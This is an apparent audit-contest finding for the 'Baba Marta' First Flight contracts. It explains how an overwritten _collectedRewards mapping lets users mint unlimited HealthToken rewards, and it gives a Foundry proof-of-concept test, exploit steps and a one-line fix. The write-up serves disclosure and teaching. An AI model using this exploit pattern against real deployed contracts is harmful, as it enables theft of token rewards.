First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect update of `MartenitsaMarketplace::_collectedRewards` Gives the Ability to Users to Mint Inifinite Rewards

pacelli

Summary

After buying three Martenitsa an user can claim one HealthToken that acts as a ticket to join special events by calling MartenitsaMarketplace::claimReward. In this function the amount of rewards to mint to the user is calculated using the amount of owned tokens and the previous amount of collected rewards.

The problem is after the amount to rewards is calculated, this amount is used to replaced the amount of rewards claimed, when in reality this amount should be added. This inconsistency between the actual amount claimed and the amount tracked by the contract allows users to take advantage of this to claim infinite rewards.

function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
>@ _collectedRewards[msg.sender] = amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}

Vulnerability Details

An attacker can follow the next steps in order to set a convenient state to exploit this vulnerability:

  1. First the attacker buys 3 Martenitsa

  2. The attacker claim rewards

count = 3
amountRewards = (count / requiredMartenitsaTokens) - collectedRewardsByAttacker
amountRewards = (3 / 3) - 0 = 1

_collectedRewards is set to 1.

  1. Attacker buys 3 more tokens

  2. Claim rewards again

count = 6
amountRewards = (count / requiredMartenitsaTokens) - collectedRewardsByAttacker
amountRewards = (6 / 3) - 0 = 1

And this is problem: _collectedRewards is set again to 1 instead of 2. This happens because the new amount overwrites the old amount and the contract loses track of the amount previously claimed.

_collectedRewards[msg.sender] = amountRewards;

Proof of Concept

To verify the vulnerability paste the following test in MartenitsaMarketplace.t.sol:

PoC
function testSecurityReview__UsersCanMintInfiniteRewards() public {
// chasy produces six Martenitsas and list them for sale
for (uint256 i; i < 6; i++) {
vm.startPrank(chasy, chasy);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), i);
marketplace.listMartenitsaForSale(i, 1 wei);
vm.stopPrank();
}
​
// bob buys the six tokens
for (uint256 i; i < 6; i++) {
vm.startPrank(bob, bob);
marketplace.buyMartenitsa{value: 1 wei}(i);
​
// bob collect rewards on the third and sixth
// purchase to set the convenient state
if (i == 2 || i == 5) {
marketplace.collectReward();
}
vm.stopPrank();
}
​
// bob claims a lot of rewards
for (uint256 i; i < 1000; i++) {
vm.prank(bob, bob);
marketplace.collectReward();
}
​
// bob can claim as many rewards as he wants
// without buying more Martenitsa
assertEq(healthToken.balanceOf(bob), 1002e18);
}

Impact

Invariant broken, users can mint inifinite rewards.

Tools Used

Manual review, Foundry

Recommendations

Add the new amount to reward to the previously claimed amount instead of overwriting it.

- _collectedRewards[msg.sender] = amountRewards;
+ _collectedRewards[msg.sender] += amountRewards;
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

_collectedRewards is not updated correctly

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.